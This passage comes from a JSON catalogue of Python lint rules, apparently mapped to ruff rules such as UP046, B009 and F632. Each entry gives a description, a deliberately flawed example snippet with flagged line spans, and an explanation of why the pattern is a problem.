      "why": "Python rejects the file with `SyntaxError: future feature ... is not defined`, since `__future__` has a fixed set of names (a misspelling, or a feature of a newer version).\n\nTo fix, correct the name or remove the import."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class that has `Generic[...]` among its bases when the `target_version` has type parameters (3.12 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 21
          }
        ]
      },
      "fix": null,
      "id": "generic-class",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP046",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP046/"
        }
      ],
      "why": "Since Python 3.12 a class declares its type variables in the header, `class Box[T]:`, and the `TypeVar` and the `Generic` base are no longer needed. The old form needs a separate declaration that can be mistaken for an unrelated variable.\n\nTo fix, move the type variables to the class header."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function outside a class whose parameters use a module-level `TypeVar`, `ParamSpec` or `TypeVarTuple`, when the `target_version` has type parameters (3.12 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 5,
            "length": 1,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "generic-function",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP047",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP047/"
        }
      ],
      "why": "Since Python 3.12 a function declares its type variables itself, `def first[T](xs: list[T]) -> T:`, so the variable is scoped to the function and a module-level declaration is not needed.\n\nTo fix, declare the type parameters on the function."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `getattr(x, \"name\")` with a literal name that is a valid identifier and two arguments.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          15,
          16,
          22,
          25,
          30
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "get-attr-with-constant",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B009",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B009/"
        }
      ],
      "why": "`getattr` is for names that are known only at run time. With a fixed name `x.name` does the same, is checked by type checkers and found by searches for the attribute.\n\nTo fix, write `x.name`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a call of `hasattr` or `getattr` that asks for `\"__call__\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 56
          }
        ]
      },
      "fix": null,
      "id": "hasattr-call",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B004",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B004/"
        }
      ],
      "why": "`hasattr(x, \"__call__\")` asks for the attribute on the object, which is not what Python does when it calls a value: it looks the method up on the type. The result can differ, and `callable(x)` is the test that matches the call.\n\nTo fix, write `callable(x)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a conditional expression whose arms are `False` and `True`: `False if a else True`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          9,
          12,
          13,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 20,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "if-expr-with-false-true",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM211",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM211/"
        }
      ],
      "why": "The expression is `not a`, written the long way round.\n\nTo fix, write `not a`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a conditional expression whose arms are `True` and `False`: `True if a else False`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          9,
          12,
          14,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 20,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "if-expr-with-true-false",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM210",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM210/"
        }
      ],
      "why": "The expression is the truth of `a`. When `a` is already a comparison, it is that comparison.\n\nTo fix, write `bool(a)`, or `a` itself if it is already a bool."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a conditional expression of the form `b if not a else a`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          9,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 5,
            "length": 17,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "if-expr-with-twisted-arms",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "SIM212",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM212/"
        }
      ],
      "why": "`b if not a else a` gives `a` when `a` is true and `b` otherwise, which is `a or b`. The negation only puts the arms in the opposite order, and a condition that is not negated is easier to read.\n\nTo fix, write `a or b`, or swap the arms and drop the `not`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `if` or `elif` whose test is a tuple.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = y = 1\nif (x, y):\n    pass\nelif (x, y):\n    pass\nelif (x):\n    pass\nif (x):\n    pass\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 2
          },
          {
            "column": 1,
            "length": 4,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "if-tuple",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F634",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F634/"
        }
      ],
      "why": "A tuple with elements is always true (and an empty one always false), so the branch is always taken. It is usually a stray comma, or a condition written inside parentheses with commas instead of `and`.\n\nTo fix, write one boolean expression."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports two neighbouring branches of an `if`/`elif` chain whose bodies are the same.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "if-with-same-arms",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM114",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM114/"
        }
      ],
      "why": "Two branches that do the same thing are one branch with a condition joined by `or`. Written twice, a later change is made to one and not the other.\n\nTo fix, join the conditions with `or`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an element of a list, tuple or set that is several string literals one after the other, with no parentheses and no comma.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 6,
            "length": 7,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "implicit-concat-in-collection",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "ISC004",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/ISC004/"
        }
      ],
      "why": "Python joins adjacent literals into one string. In a collection that is usually a comma that was left out, and the two items silently become one.\n\nTo fix, add the comma, or put the parts in parentheses if one string is meant."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a membership test, a `for` loop or a comprehension over `.keys()` with no arguments, as in `k in d.keys()`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          8,
          9,
          12,
          13,
          14,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 13,
            "line": 2
          },
          {
            "column": 5,
            "length": 17,
            "line": 3
          },
          {
            "column": 8,
            "length": 17,
            "line": 5
          },
          {
            "column": 10,
            "length": 8,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "in-dict-keys",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM118",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM118/"
        }
      ],
      "why": "A dict tests membership and iterates its keys by itself. `.keys()` adds a call, and for a membership test it makes a view first, which is slower than the test on the dict.\n\nTo fix, drop `.keys()`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a backslash in a string that is not raw and does not start an escape sequence (`\"\\d\"`, `\"\\_\"`), also in the pieces of an f-string.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = \"\\d\"\ny = r\"\\d\"\nz = b\"\\d\"\nf = f\"\\d {x} \\w {x:\\d} \\{x}\"\ng = \"\\u1234 \\x41 \\101 \\n \\\\ \\' \\N{EM DASH}\"\nh = \"\\8\" \"\\_\"\ni = \"\"\"\n\\d\n\"\"\"\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 2,
            "line": 1
          },
          {
            "column": 7,
            "length": 2,
            "line": 3
          },
          {
            "column": 7,
            "length": 2,
            "line": 4
          },
          {
            "column": 14,
            "length": 2,
            "line": 4
          },
          {
            "column": 20,
            "length": 2,
            "line": 4
          },
          {
            "column": 24,
            "length": 2,
            "line": 4
          },
          {
            "column": 6,
            "length": 2,
            "line": 6
          },
          {
            "column": 11,
            "length": 2,
            "line": 6
          },
          {
            "column": 1,
            "length": 2,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "invalid-escape-sequence",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "W605",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/W605/"
        }
      ],
      "why": "The language keeps the backslash and the letter, so `\"\\d\"` works today, but a later version can give the sequence a meaning, and newer interpreters already warn or reject it. It is also usually a regular expression or a Windows path where the author meant a different escape.\n\nTo fix, double the backslash (`\"\\\\d\"`) or make the string raw (`r\"\\d\"`)."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `print >> file, ...`, the Python 2 form that writes to a file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 5,
            "length": 19,
            "line": 23
          }
        ]
      },
      "fix": null,
      "id": "invalid-print-syntax",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F633",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F633/"
        }
      ],
      "why": "In Python 3 `print >> file, x` is an expression that shifts the function `print` right by `file`, which fails with a `TypeError` when it runs, and the text is never written.\n\nTo fix, call `print(..., file=file)`."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports code that Python rejects when it compiles the file although the grammar allows it, such as a duplicate parameter, `nonlocal` at module level or `await` in a function that is not async.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "invalid-syntax",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "Python raises a `SyntaxError` for the file, so none of the code in it runs, and the error shows up only when the module is imported or compiled.\n\nTo fix, follow the message and correct the statement."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an identity test (`is` or `is not`) with a string, bytes or number literal, a list, set, dict or comprehension, or a tuple of constants.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = y = 1\nx is \"a\"\nx is not 1\nb\"\" is x\nx is None\nx is True\nx is y\nx == \"a\"\nx is [1]\n(1, None) is x\nx is (1, y)\nx is f\"a\"\n",
        "language": "python",
        "other_lines": [
          12
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 2
          },
          {
            "column": 1,
            "length": 10,
            "line": 3
          },
          {
            "column": 1,
            "length": 8,
            "line": 4
          },
          {
            "column": 1,
            "length": 8,
            "line": 9
          },
          {
            "column": 1,
            "length": 14,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "is-literal",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F632",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F632/"
        }
      ],
      "why": "`is` compares object identity, not the value. Whether two equal literals are one object depends on the implementation, so `x is \"a\"` can be true in one run and false in another. Python warns about it at compile time.\n\nTo fix, write `==` or `!=`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a lambda assigned to a single name. An annotated assignment in a class body is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "h = 1\nf = lambda x: x\ng: int = lambda: 1\nh.attr = lambda: 1\nj = (lambda: 1)()\nk = [lambda: 1]\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 15,
            "line": 2
          },
          {
            "column": 1,
            "length": 18,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "lambda-assignment",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E731",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E731/"
        }
      ],
      "why": "A `def` gives the function a real name in tracebacks and `repr`, takes annotations and a docstring, and reads as what it is. The lambda keeps its generic name, `<lambda>`.\n\nTo fix, write a `def`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `from __future__` import that comes after other statements.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import os\nimport sys\nimport json as json\nimport a.b\nimport a.c\nfrom m import n, o as p\nfrom . import q\nfrom __future__ import annotations\nfrom k import *\n\nimport re\nimport re\n\n\ndef f():\n    import sys\n    return sys\n\n\nfor os in []:\n    pass\n\n\nclass C:\n    import unused_in_class\n\n\ntry:\n    import t\nexcept ImportError:\n    t = None\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          6,
          7,
          9,
          12,
          16,
          20
        ],
        "spans": [
          {
            "column": 1,
            "length": 34,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "late-future-import",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F404",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F404/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: from __future__ imports must occur at the beginning of the file`. Only a docstring, comments and other future imports may come before it.\n\nTo fix, move the import to the top."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import at module level after code. Docstrings, `__all__`, blocks (`if`, `try`) and `sys.path` or `os.environ` setup do not count as code.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          46
        ],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 5
          },
          {
            "column": 1,
            "length": 31,
            "line": 41
          },
          {
            "column": 1,
            "length": 36,
            "line": 44
          }
        ]
      },
      "fix": null,
      "id": "module-import-not-at-top-of-file",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E402",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E402/"
        }
      ],
      "why": "Imports at the top show what the module depends on, in one place, and a name is never used before it is imported. An import in the middle hides a dependency and runs later than a reader expects.\n\nTo fix, move the import to the top of the file."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `import` that names several modules, as in `import os, sys`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import os, sys\nimport os\nimport os.path as p, re\nfrom a import b, c\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 1
          },
          {
            "column": 1,
            "length": 23,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "multiple-imports-on-one-line",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "E401",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/E401/"
        }
      ],
      "why": "One import per line gives one line per change in a diff, and a merge conflict or a removed import touches one line.\n\nTo fix, write one `import` per module."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an assignment target with two starred names, such as `a, *b, *c = x`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 46
          }
        ]
      },
      "fix": null,
      "id": "multiple-starred-expressions",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F622",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F622/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: multiple starred expressions in assignment`, since it cannot tell how to split the values between them.\n\nTo fix, keep one starred name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `a.startswith(x) or a.startswith(y)` and the same with `endswith`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import pprint\nfrom pprint import pprint as pp\n\na = b = c = f = 1\n\nprint(1)\nprint()\nprint(\"x\", file=f)\nprint(\"x\", file=None)\npprint.pprint(1)\npp(2)\npprint(3)\nx = dict()\nx = dict(a=1)\nx = dict(**a)\nx = dict(a, b=1)\nx = list()\nx = tuple()\nx = list(a)\nx = a.startswith(\"a\") or a.startswith(\"b\")\nx = a.endswith(\"a\") or a.endswith((\"b\", \"c\")) or c\nx = a.startswith(\"a\") or b.startswith(\"b\")\nx = a.startswith(\"a\") and a.startswith(\"b\")\nx = a.startswith(\"a\") or a.endswith(\"b\")\nif a:\n    pass\n    pass\nelse:\n    ...\n    x = 1\n\n\ndef f():\n    \"\"\"doc\"\"\"\n    ...\n\n\nclass C:\n    pass\n",
        "language": "python",
        "other_lines": [
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          17,
